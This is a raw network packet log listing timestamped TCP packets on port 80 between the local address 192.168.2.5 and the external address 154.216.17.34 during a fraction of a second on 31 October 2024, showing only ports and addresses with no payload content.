Oct 31, 2024 02:09:15.005651951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005665064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005671978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.005707979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.005707979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.005769968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005781889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005794048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005800009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005815029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.005827904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005841970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.005871058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.005896091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005908012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005918026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.005945921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.005971909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006030083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006047010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006057978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006086111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006108046 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006160021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006171942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006181955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006208897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006247044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006258011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006261110 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006268978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006293058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006304979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006469965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006519079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006531000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006571054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006581068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006653070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006664038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006675959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006686926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006705999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006707907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006716967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006730080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006736994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006741047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006752968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006752968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006776094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006782055 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006798983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006800890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006824017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006849051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.006882906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006895065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.006932020 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017268896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017280102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017296076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017307997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017318964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017328978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017332077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017340899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017344952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017359972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017364979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017373085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017383099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017390966 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017395973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017411947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017421961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017426968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017446995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017456055 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017575026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017586946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017600060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017611980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017623901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017632008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017652988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017654896 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017662048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017663956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017673969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017692089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017699003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017704010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017714024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017721891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017736912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017752886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017765999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017776966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017779112 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017806053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017817974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017851114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017863989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017874956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017890930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017898083 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017908096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017920017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.017923117 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017949104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.017972946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018030882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018048048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018059015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018069029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018080950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018095016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018116951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018122911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018132925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018163919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018358946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018405914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018438101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018449068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018486023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018492937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018495083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018510103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018528938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018541098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018552065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018554926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018579960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018608093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018624067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018671989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018698931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018708944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018727064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018738985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018744946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018773079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.018779039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018944025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018955946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018968105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018980980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018992901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.018992901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019004107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019011974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019016981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019043922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019052982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019062996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019072056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019094944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019108057 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019113064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019125938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019136906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019176006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019217968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019280910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019294024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019332886 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019356966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019368887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019380093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019408941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019445896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019458055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019469023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019499063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019507885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019520998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019532919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019541979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019562960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019578934 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019617081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019629002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019638062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019668102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019676924 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019679070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019691944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019704103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019718885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019738913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019743919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019756079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019766092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019783974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019809961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019854069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019865036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019870043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019901991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.019965887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019984007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.019994974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020006895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020015001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020025969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020030975 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020036936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020049095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020060062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020060062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020072937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020078897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020083904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020098925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020106077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020124912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020137072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020143986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020153999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020165920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020176888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020189047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020195961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020224094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020229101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020231962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020241022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020270109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020278931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020333052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020344019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020354986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.020380974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.020405054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.042707920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.042730093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.042742014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.042753935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.042833090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.042860985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.054609060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054681063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054692030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054702044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054713964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054724932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054744005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.054765940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054778099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.054805994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054831982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054845095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.054847956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054860115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054872036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054873943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.054914951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054924965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.054925919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.054971933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.054980993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.055058002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.055077076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.055090904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.055104971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.055119991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.055134058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.055135012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.055169106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.055187941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.066210985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.066224098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.066292048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.066294909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.066323042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.066345930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.066371918 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.066523075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.066546917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.066564083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.066586971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.066598892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.066631079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.069652081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.069680929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.069694996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.069787979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.069870949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.069894075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.069906950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.069924116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.069963932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.069993973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070015907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070030928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070044041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070045948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070107937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070107937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070235014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070260048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070316076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070342064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070353031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070360899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070368052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070383072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070396900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070400000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070415974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070420980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070430994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070456028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070471048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070475101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070487022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070502043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070517063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070533037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070537090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070550919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070566893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070568085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070580959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070591927 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070614100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070643902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070736885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070760012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070775986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070790052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070806026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070806026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070818901 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070838928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070843935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.070852995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.070866108 CET	80	49982	154.216.17.34	192.168.2.5
